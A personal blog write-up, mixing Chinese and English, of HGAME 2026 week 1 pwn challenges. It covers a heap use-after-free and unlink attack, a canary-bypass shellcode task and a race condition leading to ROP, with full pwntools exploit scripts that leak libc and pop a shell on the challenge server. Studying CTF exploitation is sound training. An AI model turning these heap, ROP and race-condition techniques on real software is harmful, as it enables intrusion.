HGAME 2026

week1

pwn

Heap1sEz

Heap is easy :)

?源代码都给我了

不急,先把pwn.college搞了

ok,pwn.college 的DAM搞完了

给的libc是2.35的

看看保护

ok

通过gift函数可以输入一个hook(%p,16进制的地址)

经典的UAF

我们看看hook有什么用

main.c中没找到,看看malloc.c

hook初始为NULL

*hook是解引用,跳转到hook指向的addr执行命令

(*mem)同理

(mem)是将变量mem的value传入第一个参数寄存器(rdi)

obviously, the mem is the value of free chunk

we could make hook pointer to system and insert “/bin/sh” in where mem pointer to .

well, but how to leak libc_base?

malloc 0 and then malloc 1,delete 0 ,show 0(avoiding chunk 0 be combined with chunk Top)

good,get leak_addr

in .bss, fill the tcache frist

0~6 to fill the tcache ,7 to get the addr, 8 to protect the 7

fault

back thinking

the function malloc and free are defined functions

not called in libc,so we can only get the .bss addr

let’s take another way

maybe we can utilize puts to leak puts’s addr

the plt and the leak_addr are in the same page

good ,wait,that’s not real puts_addr、

error

lets’s back to the source code

maybe we can reset the value of notes[index] to puts’s got

at the unlink_chunk function

偏移 (Offset) 字段名称 说明
0x00 <font style="color:rgb(68, 71, 70);">prev_size</font> 前一个 chunk 的大小(如果前块空闲)
0x08 <font style="color:rgb(68, 71, 70);">size</font> 当前 chunk 的大小
0x10 <font style="color:rgb(68, 71, 70);">fd</font>
(Forward Pointer)
指向链表中下一个 chunk 的开头
0x18 <font style="color:rgb(68, 71, 70);">bk</font>
(Backward Pointer)
指向链表中前一个 chunk 的开头
执行阶段 **ptr 的值 (即 target_addr)* 备注
初始状态 <font style="color:rgb(68, 71, 70);">P</font>
(堆块地址)
正常指向堆块
执行 **<font style="color:rgb(68, 71, 70);">fd->bk = bk</font>** <font style="color:rgb(68, 71, 70);">&ptr - 0x10</font> <font style="color:rgb(68, 71, 70);">ptr</font>
指向了自己前面 16 字节处
执行 **<font style="color:rgb(68, 71, 70);">bk->fd = fd</font>** <font style="color:rgb(68, 71, 70);">&ptr - 0x18</font> <font style="color:rgb(68, 71, 70);">ptr</font>
最终指向了自己前面 24 字节处

ok,there is no tcache in this challenge,tcache is in the ptmalloc(in glibc)

we can utilize the unlink_chunk function to leak the libc_base_addr

a pointer which saved the real addr of puts in glibc

the notes is at 0x3880

all right , when edit(note-0x18),we should show(0)

原来是要sleep

主要是这部分逻辑不一样,左边是官方的,这样就不用sleep了

但本地测试我写的和官方的都过不了

基本确定是环境问题了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
In [21]: from pwn import *
...: context.binary = ELF('/home/shark/Desktop/ctf/temp/code/HGAME 2026/week1/Heap1sEz/vuln',checksec = False)
...: #io = process('/home/shark/Desktop/ctf/temp/code/HGAME 2026/week1/Heap1sEz/vuln')
...: io = remote("forward.vidar.club",30181)
...: libc = ELF('/home/shark/Desktop/ctf/temp/code/HGAME 2026/week1/Heap1sEz/libc.so.6',checksec = False)
...: context.log_level = 'debug'
...: def add(index,size):
...: io.recvuntil(b'>')
...: io.sendline(b'1')
...: io.recvuntil(b'Index: ')
...: io.sendline(str(index).encode())
...: io.sendline(str(size).encode())
...: def delete(index):
...: io.recvuntil(b'>')
...: io.sendline(b'2')
...: io.recvuntil(b'Index: ')
...: io.sendline(str(index).encode())
...: def show(index):
...: io.recvuntil(b'>')
...: io.sendline(b'4')
...: io.recvuntil(b'Index: ')
...: #sleep(0.1)
...: io.sendline(str(index).encode())
...: def edit(index,context):
...: io.recvuntil(b'>')
...: io.sendline(b'3')
...: io.recvuntil(b'Index: ')
...: io.sendline(str(index).encode())
...: io.send(context)
...: #add(0,30)
...: #for i in range (7):
...: # add(i,30)
...: #for i in range (7):
...: # delete(i)
...: add(2,8)
...: add(3,8)
...: delete(2)
...: delete(3)
...: show(2)
...: #io.recvuntil(b'Index: 0')
...: sleep(0.1)
...: #io.recvuntil(b'\n')
...: #io.recv(1)
...: leak_addr = u64(io.recv(6).ljust(8,b'\x00'))
...: print("leak_addr: ",hex(leak_addr))
...: pie_base = leak_addr - 0x3808
...: print("pie_base: ",hex(pie_base))
...: #puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
...: note = pie_base +0x3880
...: puts_got_addr = pie_base+0x3768#context.binary.got['puts']
...: #io.interactive()
...: #show(10)
...: sleep(0.1)
...: add(0,0x10)
...: add(1,0x10)
...: delete(7)
...: edit(0,p64(note-0x18)+p64(puts_got_addr))
...: delete(1)
...: #io.interactive()
...: show(0)
...: #delete(3)
...: #io.interactive()
...: #show(2)
...: puts_addr = u64(io.recvuntil('\x0a\x77\x65',drop=True)[-6:].ljust(8, b'\x00'))#u64(io.recv(6).ljust(8,b'\x00'))
...:
...: print("puts_addr: ",hex(puts_addr))
...: libc_base = puts_addr - libc.sym["puts"]
...: print("libc_base: ",hex(libc_base))
...: sys_addr = libc_base + libc.sym["system"]
...: add(6,8)
...: edit(6,b"/bin/sh")
...: sleep(0.3)
...: io.sendline(b"6")
...: sleep(0.8)
...: io.sendlineafter(b"give me a hook\n",hex(sys_addr))
...: sleep(0.5)
...: delete(6)
...: sleep(0.1)
...: io.interactive()

adrift

Would you be my guiding star?

看来是能在stack上执行shellcode

手动搞了个canary

放在rbp-0x10

integer overflow

v6是__int 16(short)

short range is -32768~32767

看看case0

buf只有125*8=1000,而这里可以read0x410,存在overlfow,buf在rbp-0x3fa结束

0x410-0x3fa = 22

可以overwrite canary and ret

memset(buf, 0, sizeof(buf));会清空buf的内容

看看case1

v1为正时【0,200】取模结果正常

v1可为负

可以通过case2打印addr

dis数组在这

canary is here

0x44060-0x4060=0x40000 = 262144

-32768*8=262144

看看case3

%lu (8 字节无符号长整型)

check canary

canary没问题的话main函数进入ret

总结一下

这道题的index取反对-32768无效,~0x8000=0x7fff,0x7fff+1=0x8000

canary 就是init_canary的[rbp-0x8]

case2 可以show canary,我们同时也得到的是init_canary的栈地址

case3可以改main上的canary

case4时会将main上的rbp - 0x10的value mov 进rdx寄存器,push rdx and pop rdi

将canary(rbp - 0x10) 改成/bin/sh

ret addr overwrite by the shellcode’s start addr

leak addr

buf 从rbp-0x400+0x6=rbp-0x3fa开始

覆盖对了,但多了一byte,最后会error

可以看到shellcode只有7字节

试试把 Shellcode (7字节) 放在 [rbp-0x8]/bin/sh\x00 放在 [rbp+0x0]

远程也过了

你入侵了 SERN 的服务器, 该怎么找到他们的最高机密文件呢

??

Producer and Consumer

Can you find the decomposer in the system?

条件竞争问题

ida就找不到main函数,pwndbg动调

不是heap,但也能写一下

no canary

no pie

我们进到main函数当中

1
2
3
4
5
6
7
8
9
10
11
0x401826  mov    edx, 8         ; 参数 3:初始值 = 8
0x40182b mov esi, 0 ; 参数 2:pshared = 0 (进程内私有)
0x401830 mov edi, 0x4041a0 ; 参数 1:信号量地址
0x401835 call sem_init@plt
初始化一个初始值为 8 的信号量
缓冲区最初有 8 个空位。生产者每生产一个数据,这个值减 1;如果值为 0,生产者阻塞
0x40183a mov edx, 0 ; 参数 3:初始值 = 0
0x40183f mov esi, 0 ; 参数 2:pshared = 0
0x401844 mov edi, 0x4041c0 ; 参数 1:信号量地址
0x401849 call sem_init@plt
初始化一个初始值为 0 的信号量,缓冲区最初没有数据。消费者每消费一个数据,这个值减 1;如果值为 0(没东西可吃),消费者阻塞

看看

给了saved在rbp-0x10处的heap地址

将leak_heap_addr 的offset0x1800处作为 生产者的共享缓冲区

打印个表

scanf一个数到rbp-0x2c

1
2
3
4
5
6
7
0x401785  mov    edi, 8
0x40178a call malloc@plt ; 为输入数据分配 8 字节空间
...
0x4017b8 call read@plt ; 从 stdin 读取 8 字节数据
...
0x4017c8 mov edx, 0x4013b6 ; 线程入口函数:producer_func
0x4017d5 call pthread_create@plt ; 启动生产者线程

这个IDA出来的就算完整了,伪c的可读性还是比汇编高多了

1
2
3
4
5
6
7
if ( n3 == 1 )
{
buf = malloc(8uLL); // 为生产的数据分配一个小堆块
write(1, "input the data you want to produce:", 0x23uLL);
read(0, buf, 8uLL); // 读取 8 字节用户输入
pthread_create(&newthread, 0LL, start_routine, buf); // 创建新线程
}
1
2
3
4
else if ( n3 == 2 )
{
pthread_create(&newthread_, 0LL, start_routine, 0LL); // 创建消费者线程
}

—————————————————————————————-

1
2
int pthread_create(pthread_t *thread, const pthread_attr_t *attr,
void *(*start_routine) (void *), void *arg);
参数 传入值 详细解释
**<font style="color:rgb(68, 71, 70);">thread</font>** <font style="color:rgb(68, 71, 70);">&newthread</font> 输出参数。指向 <font style="color:rgb(68, 71, 70);">pthread_t</font>
类型变量的指针。函数执行成功后,新线程的 ID(TID)会被写入这个地址。在二进制层面,这通常是一个位于栈上或 Data 段的 8 字节空间。
**<font style="color:rgb(68, 71, 70);">attr</font>** <font style="color:rgb(68, 71, 70);">0LL</font>
(NULL)
线程属性<font style="color:rgb(68, 71, 70);">0LL</font>
等价于 <font style="color:rgb(68, 71, 70);">NULL</font>
,表示使用默认属性。默认属性包括:线程是可汇合的(joinable)、拥有默认大小的栈(通常是 8MB)、调度策略由系统决定等。
**<font style="color:rgb(68, 71, 70);">start_routine</font>** <font style="color:rgb(68, 71, 70);">start_routine</font> 新线程的入口函数。这是一个函数指针,新线程启动后会直接跳转到这里执行。它的签名必须是 <font style="color:rgb(68, 71, 70);">void *func(void *)</font>
**<font style="color:rgb(68, 71, 70);">arg</font>** <font style="color:rgb(68, 71, 70);">buf</font> 传递给入口函数的参数<font style="color:rgb(68, 71, 70);">buf</font>
的地址会作为唯一参数传递给 <font style="color:rgb(68, 71, 70);">start_routine</font>
。在 x64 调用约定下,<font style="color:rgb(68, 71, 70);">buf</font>
的值会被放入 RDI 寄存器传递给目标函数。

我再看看汇编

还是先看看ida吧

检查完之后立即解锁

在进入 <font style="color:#DF2A3F;">if</font> 分支后,其他线程可能会修改 <font style="color:#DF2A3F;">n7</font> 的值

消费者,没竞争问题,清理垃圾数据用的

回归生产者

1
2
3
4
5
6
7
8
9
sem_wait(&sem);                // 1. 等待缓冲区有空位 (sem 初始为 8)
pthread_mutex_lock(&mutex); // 2. 加锁,准备检查
if ( n7 <= 7 ) // 3. 【Check】检查索引是否合法
{
pthread_mutex_unlock(&mutex);// 4. 检查完立刻解锁
sleep(1u); // 5. 故意制造 1 秒的“竞争窗口”
//由于第 4 行提前解锁,外加第 5 行强制 sleep(1),这意味着:
//如果你在 1 秒内同时发起了 10 个 producer 请求,
//这 10 个线程都会拿到 n7 <= 7 的通过牌,然后全部进入 if 逻辑块内部。
1
2
3
4
5
6
v2[0] = 0; v2[1] = 1; v2[2] = 2; v2[3] = 3; v2[4] = 4;
pthread_mutex_lock(&mutex_);
seconds = v2[dword_404100]; // 获取睡眠时间
dword_404100 = (dword_404100 + 1) % 5; // 轮询 0,1,2,3,4
pthread_mutex_unlock(&mutex_);
sleep(seconds); // 6. 线程按 0~4 秒随机睡眠

这里得sleep(5)保证每个线程都跑完

1
2
3
4
v2[8] = n7;
// 7. 【Use】越界写入数据
*(_QWORD *)((char *)src + 8 * n7 % 80) = *(_QWORD *)ptra;
free(ptra);

啊吧啊吧

1
2
3
4
5
6
sleep(1u);
pthread_mutex_lock(&mutex);
n7 = (n7 + 1) % 11; // 8. 真正的更新全局变量 n7
pthread_mutex_unlock(&mutex);
sem_post(&sem_); // 9. 通知消费者有新数据
}

% 11 意味着 n7 最大可以变成 10

n7在sub_4016D4中定义

find n7

main中的参数只有0x40=64byte

看看memcpy

n7变成10

64+8+8=80bytes

发送 3 退出菜单。

程序回到 main 函数,执行 memcpy(rbp-0x40, src, n7 * 8)

正好覆盖main_ret

主要漏洞点:

1
2
3
4
5
6
if ( n7 <= 7 ) {                  // [Check] 检查点
pthread_mutex_unlock(&mutex); // 放开锁,大门敞开
sleep(1u); // 巨大的竞争窗口
// ... 写入数据 ...
n7 = (n7 + 1) % 11; // [Use] 更新点
}

n7可以突破<=7的限制
整理思路

先leak puts’s real addr ,pivot,然后ret main ,get shell

buf_start = v5(leak_addr)+0x1800(6144)

sleep要大于4s

这里要调试出offset

ni 4

ret进binsh\x00了

再-8*2

经过官方wp的对照实验,我得多加几个sleep

成了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
In [1]: from pwn import *
...: #io = remote("forward.vidar.club",31709)
...: context.binary = ELF('/home/shark/Desktop/ctf/temp/code/HGAME 2026/week1/Producer and Consumer/vuln',checksec =
...: False)
...: elf = ELF("/home/shark/Desktop/ctf/temp/code/HGAME 2026/week1/Producer and Consumer/vuln")
...: #io = process('/home/shark/Desktop/ctf/temp/code/HGAME 2026/week1/Producer and Consumer/vuln')
...: #libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
...: libc = ELF("/home/shark/Desktop/ctf/temp/code/HGAME 2026/week1/Producer and Consumer/libc-2.31.so")
...: io = remote("forward.vidar.club",31618)
...: context.log_level = 'debug'
...: def pro(context):
...: io.sendlineafter("input your choice>>",b'1')
...: io.sendlineafter("input the data you want to produce:",context)
...: #sleep(4.1)
...: def con():
...: io.sendlineafter("input your choice>>",b'2')
...: io.recvuntil(b'a gift for you:')
...: addr_leak = int(io.recv(10),16)
...: print("addr_leak: ",hex(addr_leak))
...: #pause()
...: ret_addr = 0x40101a
...: leave_addr = 0x4015a1
...: pop_rdi = 0x401963
...: main_addr= 0x40181a
...: buf_start = addr_leak +0x1800
...: puts_plt = elf.plt['puts']
...: puts_got = elf.got['puts']
...: print("buf_start: ",hex(buf_start))
...: print("ret_addr: ",hex(ret_addr))
...: print("main_addr: ",hex(main_addr))
...: print("buf_start: ",hex(buf_start))
...: print("leave_addr: ",hex(leave_addr))
...:
...: pro(b'\x00'*8)#fake rbp
...: sleep(5)
...: #pro(p64(ret_addr))
...: #sleep(5)
...: pro(p64(pop_rdi))
...: sleep(5)
...: pro(p64(puts_got))
...: sleep(5)
...: pro(p64(puts_plt))
...: sleep(5)
...: pro(p64(main_addr))
...: sleep(5)
...: pro(p64(0))
...: sleep(5)
...: pro(p64(1))
...: sleep(5)
...: for i in range (7):
...: con()
...: sleep(1)
...: #pause()
...: pro(b'aaaaaaaa')
...: pro(p64(buf_start))
...: pro(p64(leave_addr))
...: io.recvuntil(b'Data 9 has been produced.')
...: sleep(1)
...: io.sendline(b"3")
...: io.recvuntil(b'aaaaaaaa')
...:
...: puts_addr = u64(io.recv(6).ljust(8, b'\x00'))#u64(io.recv(6).ljust(8,b'\x00'))
...: print("puts_addr: ",hex(puts_addr))
...: libc_base = puts_addr - libc.sym["puts"]
...: sys_addr = libc_base + libc.sym["system"]
...: binsh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
...: payload = p64(pop_rdi)+p64(binsh_addr)+p64(sys_addr)
...: pro(b'llllllll')
...: sleep(5)
...: pro(p64(ret_addr))
...: sleep(5)
...: pro(p64(pop_rdi))
...: sleep(5)
...: pro(p64(binsh_addr))
...: sleep(5)
...: pro(p64(sys_addr))
...: sleep(5)
...: for i in range (2):
...: pro(b'10101010')
...: sleep(5)
...: for i in range (7):
...: con()
...: sleep(0.5)
...: pro(b'kkkkkkkk')#fake rbp
...: pro(p64(buf_start-32))
...: pro(p64(leave_addr))
...: io.recvuntil(b'Data 9 has been produced.')
...: sleep(1)
...: pause()
...: io.sendline(b'3')
...: #pause()
...: io.interactive()

week2

Diary keeper

glibc 2.35

这才是正统heap

add,del,show,exit

IONOSTREAM

gosick


HGAME 2026
https://ghostshark-pro.github.io/2026/04/23/HGAME 2026/
Author
shark
Posted
2026年4月23日
License